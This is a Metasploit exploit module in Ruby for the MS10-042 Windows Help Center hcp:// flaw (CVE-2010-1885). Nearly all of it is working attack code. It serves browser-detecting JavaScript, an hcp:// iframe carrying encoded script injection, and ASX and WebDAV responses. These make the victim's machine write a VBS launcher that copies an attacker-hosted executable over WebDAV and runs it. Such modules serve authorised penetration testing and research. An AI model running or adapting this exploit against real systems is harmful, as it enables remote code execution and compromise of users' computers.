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## # $Id: ms10_042_helpctr_xss_cmd_exec.rb 10388 2010-09-20 04:37:25Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Help Center XSS and Command Execution', 'Description' => %q{ Help and Support Center is the default application provided to access online documentation for Microsoft Windows. Microsoft supports accessing help documents directly via URLs by installing a protocol handler for the scheme "hcp". Due to an error in validation of input to hcp:// combined with a local cross site scripting vulnerability and a specialized mechanism to launch the XSS trigger, arbitrary command execution can be achieved. On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it can be used to launch the exploit automatically. If IE8 and WMP11, either can be used to launch the attack, but both pop dialog boxes asking the user if execution should continue. This exploit detects if non-intrusive mechanisms are available and will use one if possible. In the case of both IE8 and WMP11, the exploit defaults to using an iframe on IE8, but is configurable by setting the DIALOGMECH option to "none" or "player". }, 'Author' => [ 'Tavis Ormandy',# Original discovery 'natron'# Metasploit version ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10388 $', 'References' => [ [ 'CVE', '2010-1885' ], [ 'OSVDB', '65264' ], [ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ], [ 'MSB', 'MS10-042'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Jun 09 2010', 'DefaultTarget'=> 0)) register_options( [ OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new( 'URIPATH', [ true, "The URI to use.", "/" ]), OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"]) ], self.class) deregister_options('SSL', 'SSLVersion') # Just for now end def on_request_uri(cli, request) # If there is no subdirectory in the request, we need to redirect. if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) if (request.uri == '/') subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' end print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") send_redirect(cli, subdir) return end case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_error("Unexpected request method encountered: #{request.method}") end end def process_get(cli, request) @my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}" @url_base= "http://" + @my_host if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri)) print_status "Sending payload executable to target ..." return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end if request.uri.match(/\.gif$/) # "world's smallest gif" data= "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01" data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;" print_status "Sending gif image to WMP at #{cli.peerhost}:#{cli.peerport} ..." send_response(cli, data, { 'Content-TYpe' => 'image/gif' } ) end # ASX Request Inbound if request.uri.match(/\.asx$/) asx = %Q|<ASX VERSION="3.0"> <PARAM name="HTMLView" value="URLBASE/STARTHELP"/> <ENTRY> <REF href="https://www.exploit-db.com/exploits/16545/URLBASE/IMGFILE"/> </ENTRY> </ASX> | asx.gsub!(/URLBASE/, @url_base) asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help) asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file) print_status("Sending asx file to #{cli.peerhost}:#{cli.peerport} ...") send_response(cli, asx, { 'Content-Type' => 'text/html' }) return end # iframe request inbound from either WMP or IE7 if request.uri.match(/#{@start_help}/) help_html = %Q|<iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">| rand_vbs = rand_text_alpha(rand(2)+1) + ".vbs" copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^ vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false| write_vbs = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}| launch_vbs= %Q|cscript %TEMP%\\#{rand_vbs}>nul| concat_cmds = "#{write_vbs}|#{launch_vbs}" eval_block= "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));" eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block)) help_html.gsub!(/COMMANDS/, eval_block) print_status("Sending exploit trigger to #{cli.peerhost}:#{cli.peerport} ...") send_response(cli, help_html, { 'Content-Type' => 'text/html' }) return end # default initial response js = %Q| var asx = "URLBASE/ASXFILE"; var ifr = "URLBASE/IFRFILE"; function launchiframe(src) { var o = document.createElement("IFRAME"); o.setAttribute("width","0"); o.setAttribute("height","0"); o.setAttribute("frameborder","0"); o.setAttribute("src",src); document.body.appendChild(o); } if (window.navigator.appName == "Microsoft Internet Explorer") { var ua = window.navigator.userAgent; var re= new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})"); re.exec(ua) ver = parseFloat( RegExp.$1 ); // if ie8, check WMP version if (ver > 7) { var o = document.createElement("OBJECT"); o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6"); o.setAttribute("uiMode", "invisible"); // if wmp9, go ahead and launch if( parseInt(o.versionInfo) < 10 ) { o.openPlayer(asx); // if > wmp9, only launch if user requests } else { DIALOGMECH } // if ie7, use iframe } else { launchiframe(ifr); } } else { // if other, try iframe launchiframe(ifr); } | html = %Q|<html> <head></head><body><script>JAVASCRIPTFU </script> </body> </html> | case datastore['DIALOGMECH'] when "player" mech = "o.openPlayer(asx);" when "iframe" mech = "launchiframe(ifr);" when "none" mech = "" else mech = "" end html.gsub!(/JAVASCRIPTFU/, js) html.gsub!(/DIALOGMECH/, mech) html.gsub!(/URLBASE/, @url_base) html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file) html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help) print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport} ...") headers = { 'Content-Type' => 'text/html', #'X-UA-Compatible' => 'IE=7' } send_response(cli, html, headers) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") headers = { #'DASL' => '<DAV:sql>', #'DAV'=> '1, 2', 'Allow'=> 'OPTIONS, GET, PROPFIND', 'Public' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) end def convert_to_char_code(str) return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}") body = '' if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path)) # Response for the EXE print_status("Sending EXE multistatus for #{path} ...") #<lp1:getcontentlength>45056</lp1:getcontentlength> body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag> <lp2:executable>F</lp2:executable> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) print_status("Sending 404 for #{path} ...") send_not_found(cli) return elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end def exploit @random_dir = rand_text_alpha(rand(2)+1) @asx_file = rand_text_alpha(rand(2)+1) + ".asx" @start_help = rand_text_alpha(rand(2)+1) + ".html" @payload = rand_text_alpha(rand(2)+1) + ".exe" @img_file = rand_text_alpha(rand(2)+1) + ".gif" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end super end end |